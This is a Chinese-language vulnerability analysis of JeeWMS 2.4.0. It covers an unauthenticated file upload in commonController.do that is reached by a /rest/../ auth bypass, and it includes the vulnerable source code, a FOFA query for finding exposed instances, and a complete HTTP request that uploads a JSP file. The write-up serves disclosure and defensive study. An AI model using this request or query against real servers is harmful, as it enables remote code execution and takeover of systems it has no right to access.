漏洞简介
JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS commonController.do 接口存在文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
影响版本
2.4.0(2024-10-08之前版本)
fofa语法
body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"
漏洞分析
根据 src/main/Java/org/jeecgframework/web/system/controller/core/CommonController.java 文件的官方 commit 记录 diff 两个区别

可以明显看到官方修复之前是下面这样的,没有任何校验直接上传文件,且文件保存在根目录下
/**
* 生成XML文件parserXml
*
* @return
*/
@RequestMapping(params = "parserXml")
@ResponseBody
public AjaxJson parserXml(HttpServletRequest request, HttpServletResponse response) {
AjaxJson json = new AjaxJson();
String fileName = null;
UploadFile uploadFile = new UploadFile(request);
String ctxPath = request.getSession().getServletContext().getRealPath("");
File file = new File(ctxPath);
if (!file.exists()) {
file.mkdir();// 创建文件根目录
}
MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest();
Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
MultipartFile mf = entity.getValue();// 获取上传文件对象
fileName = mf.getOriginalFilename();// 获取文件名
String savePath = file.getPath() + "/" + fileName;
File savefile = new File(savePath);
try {
FileCopyUtils.copy(mf.getBytes(), savefile);
} catch (IOException e) {
e.printStackTrace();
}
}
systemService.parserXml(ctxPath + "/" + fileName);
json.setSuccess(true);
return json;
}
下面分析下 可利用路径,即权限绕过部分,先看 web.xml 的部分
<servlet>
<description>spring mvc servlet</description>
<servlet-name>springMvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<description>spring mvc 配置文件</description>
<param-name>contextConfigLocation</param-name>
<param-value>classpath*:spring-mvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMvc</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>springMvc</servlet-name>
<url-pattern>*.action</url-pattern>
</servlet-mapping>
所有以 .do 结尾的URL都会进入 spring 框架的核心控制器DispatcherServlet 来负责处理所有MVC请求。再看下 spring-mvc.xml 的配置
<mvc:interceptor>
<mvc:mapping path="/**" />
<bean class="org.jeecgframework.core.interceptors.AuthInterceptor">
<property name="excludeUrls">
<list>
<value>loginController.do?goPwdInit</value>
<value>loginController.do?pwdInit</value>
<value>loginController.do?login</value>
<value>loginController.do?logout</value>
<value>loginController.do?changeDefaultOrg</value>
<value>loginController.do?login2</value>
<value>loginController.do?login3</value>
<value>loginController.do?checkuser</value>
<value>loginController.do?checkuser=</value>
<value>repairController.do?repair</value>
<value>systemController.do?saveFiles</value>
<value>repairController.do?deleteAndRepair</value>
<value>userController.do?userOrgSelect</value>
<!--移动图表-->
<value>cgDynamGraphController.do?design</value>
<value>cgDynamGraphController.do?datagrid</value>
<value>cgDynamGraphController.do?datagrid</value>
<value>rest/wvGiNoticeController/search</value>
<value>rest/tokens/login</value>
<value>rest/wmToDownGoodsController</value>
<value>rest/wmToUpGoodsController</value>
<value>rest/wmInQmIController</value>
<value>rest/wvNoticeController</value>
<value>rest/wvGiController</value>
<value>rest/mdGoodsController</value>
<value>rest/wvStockController</value>
<value>rest/wmSttInGoodsController</value>
<value>rest/wmToMoveGoodsController</value>
<value>rest/wmBaseController/showOrDownqrcodeByurl</value>
<!-- 菜单样式图标预览 -->
<value>webpage/common/functionIconStyleList.jsp</value>
</list>
</property>
<property name="excludeContainUrls">
<list>
<value>systemController/showOrDownByurl.do</value>
<value>wmsApiController.do</value>
</list>
</property>
</bean>
</mvc:interceptor>
可以明显看到默认所有请求都会经过 org.jeecgframework.core.interceptors.AuthInterceptor 包来进行权限校验,但匹配到下面的 excludeUrls(完全匹配) 列表和 excludeContainUrls (部分匹配)时则跳过鉴权。同时看下 AuthInterceptor 修复前后的差异

在存在漏洞的版本里:
单独判断requestPath是否以rest/开头,如果是则直接放行(return true)。
第一次修复后的处理:
移除了对rest/的单独放行逻辑,将其纳入excludeUrls或excludeContainUrls统一管理。
同时即使URL匹配excludeContainUrls,仍检查用户登录状态和权限。
但是其 String requestPath = ResourceUtil.getRequestPath(request); 的实现部分如下
public static String getRequestPath(HttpServletRequest request) {
// String requestPath = request.getRequestURI() + "?" + request.getQueryString();
String queryString = request.getQueryString();
String requestPath = request.getRequestURI();
if(StringUtils.isNotEmpty(queryString)){
requestPath += "?" + queryString;
}
if (requestPath.indexOf("&") > -1) {// 去掉其他参数
requestPath = requestPath.substring(0, requestPath.indexOf("&"));
}
requestPath = requestPath.substring(request.getContextPath().length() + 1);// 去掉项目路径
return requestPath;
}
其使用了 request.getRequestURI() 来获取用户请求URL作为 requestPath ,这个存在权限绕过问题,已经是老生长谈的问题了,可自行搜索相关文章。
那么最终修复版本里是如何处理的呢?

使用正则判断 rest/ 路径后是否是正经URLpath,带有 ../ 以及 ; 或者 多个 /// 这些都不满足正则。
因此这个权限绕过一直影响到 2.4.0(250102版本),但是文件上传只影响2.4.0(2024-10-08之前版本)。
漏洞复现
POST /rest/../commonController.do?parserXml HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----123321
------123321
Content-Disposition: form-data; name="file"; filename="uid.jsp"
Content-Type: image/png
<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------123321--

访问文件 /uid.jsp

成功打印 UUID 并删除自身。
参考
https://gitee.com/erzhongxmu/JEEWMS


